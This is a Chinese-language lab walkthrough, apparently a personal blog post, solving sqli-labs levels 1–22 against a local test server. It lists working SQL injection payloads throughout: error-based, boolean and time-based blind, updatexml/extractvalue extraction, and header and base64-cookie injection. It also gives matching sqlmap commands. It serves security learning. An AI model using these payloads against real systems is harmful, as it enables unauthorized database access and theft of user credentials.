0x00 前言
岁月是一场有去无回的旅行,好的坏的都是风景
十一月的最后一天了,明天就是2018年最后的月份了,光阴似箭,感慨万千。趁着周末,撸下Mysql手工注入,加深SQL注入的理解。
0x01 报错注入
Less-1
打开网页,传入一个id=1
发现有显示,于是尝试构造payload
1 | http://localhost/sqli/Less-1/index.php?id=1' and 1=1--+ //不报错 |
于是说明存在字符型注入,于是
1 | 爆出字段数 |
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://192.168.1.161/sqli/Less-1/index.php?id=1" --dbs |
Less-2
直接尝试整数型注入,成功
payload: http://localhost/sqli/Less-2/?id=1 and 1=1--+
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://192.168.1.161/sqli/Less-2/index.php?id=1" --dbs |
Less-3
加上单双引号测试均失败,根据回显的错误
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"') LIMIT 0,1' at line 1 |
构造的payload:http://localhost/sqli/Less-3/?id=1') and 1=1--+
Sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://192.168.1.161/sqli/Less-3/index.php?id=1" --dbs |
Less-4
同样根据回显的错误信息,
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1 |
构造的payload:http://localhost/sqli/Less-4/?id=1") and 1=1 --+
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://192.168.1.161/sqli/Less-4/index.php?id=1" --dbs |
0x02 盲注
Less-5
尝试了?id=1'
单双引号均无回显,可能是bool型注入
于是payload:http://localhost/sqli/Less-5/?id=1' and 1=1--+
盲注利用方法:
1 | 1.逐步依次测试 数据库长度 |
也可利用burp进行辅助注入,从65-122 依次爆破
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://localhost/sqli/Less-5/index.php?id=1" --dbs |
Less-6
与上面类似同样是bool盲注,只不过利用了双引号。
payload:http://localhost/sqli/Less-6/?id=1" and 1=12--+
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://localhost/sqli/Less-6/index.php?id=1" --dbs |
Less-7
尝试?id=1')) and 1=12--+
发现报错,同样为bool盲注
payload:http://localhost/sqli/Less-7/?id=1')) and 1=1--+
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://localhost/sqli/Less-7/index.php?id=1" --technique B --dbms mysql --batch -v 0 |
Less-8
bool盲注,尝试单引号成功
payload: http://localhost/sqli/Less-8/?id=1' and 1=1--+
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://localhost/sqli/Less-8/index.php?id=1" --technique B --dbms mysql --batch -v 0 |
Less-9
在使用’ “ 等均无反应时 尝试基于时间的注入
payload:http://localhost/sqli/Less-9/?id=1' and if(1=1,sleep(5),0)--+
利用方式大致与less 5 类似,只是反馈查询正确的方式不同 ,如果查询结果为true将会延时5秒
1 | http://localhost/sqli/Less-9/?id=1' and if((length(database())=8),sleep(5),0)--+ |
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://localhost/sqli/Less-9/index.php?id=1" --technique T --dbms mysql --batch -v 0 |
Less-10
尝试利用双引号,页面响应延迟,存在时间延迟型注入
payload:http://localhost/sqli/Less-10/?id=1" and if(1=1,sleep(5),0) --+
sqlmap 利用:
1 | python2.7 sqlmap.py -u "http://localhost/sqli/Less-10/index.php?id=1" --technique T --dbms mysql --batch -v 0 |
0x03 Post 注入
Less-11
Burp抓包后,开始尝试了uname=admin' and 1=1 --+&passwd=admin&submit=Submit
就登录成功了,而且是基于报错的注入
sqlmap 利用:
1 | python2.7 sqlmap.py -r post.txt -p uname --dbs |
Less-12
依次尝试’ “ 无果后 尝试’) “) 发现后者有效,同样是基于报错的注入
payload:uname=admin") and 1=1 --+&passwd=1&submit=Submit
Less-13
尝试单双引号之后,发现报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1') LIMIT 0,1' at line 1 |
payload:uname=admin') and 1=1--+&passwd=admin&submit=Submit
但是登录后并不存在回显,故为bool盲注
利用盲注方法进行猜解:
1 | uname=admin') and substr(database(),1,1)>'a'--+&passwd=admin&submit=Submit |
sqlmap 利用:
1 | python2.7 sqlmap.py -r post.txt -p uname --technique E --dbms mysql --batch -v 0 |
Less-14
测试至” 发现成功,但也是盲注型。
payload:uname=admin" and 1=1--+&passwd=1&submit=Submit
sqlmap 利用:
1 | python2.7 sqlmap.py -r post.txt -p uname --technique E --dbms mysql --batch -v 0 |
Less-15
简单尝试单引号,发现测试登录成功
payload:uname=admin' or 1=1--+&passwd=1&submit=Submit
sqlmap 利用:
1 | python2.7 sqlmap.py -r post.txt -p uname --technique E --dbms mysql --batch -v 0 |
Less-16
测试过单双引号无果,尝试简单变形,发现成功登录,无回显
payload: uname=admin") and 1=1 --+&passwd=1&submit=Submit
sqlmap 利用:
1 | python2.7 sqlmap.py -r post.txt -p uname --technique E --dbms mysql --batch -v 0 |
Less-17 (update 注入)
查看了下源码,部分关键源码:
1 | //echo '<font color= "#0000ff">'; |
发现可能是update注入
,于是爆库payload:
1 | uname=admin&passwd=1' or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+&submit=Submit |
利用方式:
1.爆表:
1 | uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),0x7e),1)#&submit=Submit |
回显:XPATH syntax error: '~emails,referers,uagents,users~'
2.爆列名:
1 | uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1)--+&submit=Submit |
3.爆数据:
1 | uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e),1)#&submit=Submit |
sqlmap 利用
1 | python2.7 sqlmap.py -r post.txt -p passwd --dbs |
Less-18 (insert 注入)
打开发现,Your IP ADDRESS is: 127.0.0.1
,感觉像是header头部注入,但是一直没找见注入点,于是查看源码发现,得登陆成功然后在User-Agent
头部可以进行注入。
部分关键源码:
1 | $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; |
于是构造爆库payload:
1 | User-Agent: lalala' and (extractvalue('a',concat('~',(select database())))))# |
1.爆表:
1 | User-Agent: lalala' and (extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)))))# |
2.爆列名:
1 | User-Agent: lalala' and (extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) ))# |
3.爆数据:
1 | User-Agent: lalala' and (extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) ))# |
sqlmap 利用:
1 | 在http请求头的user-agent内容后面加上一个*号 |
Less-19
打开与上题套路类似,登录成功进去,给出referer头,于是猜测可能是referfer注入
而且还是报错型的,payload:Referer: abc')#
利用方式与上题类似、
sqlmap 利用:
1 | 在http请求头的referer内容后面加上一个*号 |
Less-20
打开尝试输入正确账密登陆进去,发现一大堆回显,点击 delete
按钮,抓包修改cookie值
报错to use near ''admin'' LIMIT 0,1' at line 1
,
于是构造爆库payload:Cookie: uname=admin')#
爆库:
Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #
发现回显XPATH syntax error: '~security~'
,于是和上题一样利用
sqlmap 利用:
1 | python2.7 sqlmap.py -r post.txt --cookie uname=admin --tech E --dbms mysql --batch -v 0 |
Less-21
这题套路跟上题相似,唯一不同的就是,cookie使用了base64编码。
于是将上题的payload进行base64编码下即可:
编码前:
1 | Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) )# |
编码后:
1 | Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpICkj |
sqlmap 利用:
1 | python2.7 sqlmap.py -r post.txt --cookie uname=YWRtaW4%3D --tech E --dbms mysql --tamper base64encode.py --batch -v 0 |
Less-22
与上些题类似,只需改为双引号即可。payload为:
1 | 编码前: |
sqlmap 利用:
1 | python2.7 sqlmap.py -r --cookie uname=YWRtaW4= --tech E --dbms mysql --tamper base64encode.py --batch -v 0 |
0x04 后记
注入目前主要分为:
- 报错型,根据回显构造payload,使用特定函数得到信息
- 布尔型盲注,根据回显值的不同,一步一步猜解ASCII码得到信息
- 时间盲注,与布尔型盲注类似,只不过通过页面响应时间来判断正确与否,一般通过py脚本利用
- update、insert等注入,通过利用xpath报错使用特点函数得到信息
一下子搞了这么多SQL注入,而这仅仅是作为mysql数据库而言,突然感觉sqlmap真不愧为神器,有时间一定要追下源码。明天继续一波。 goSpurgo!!!
十一月再见,十二月你好 !!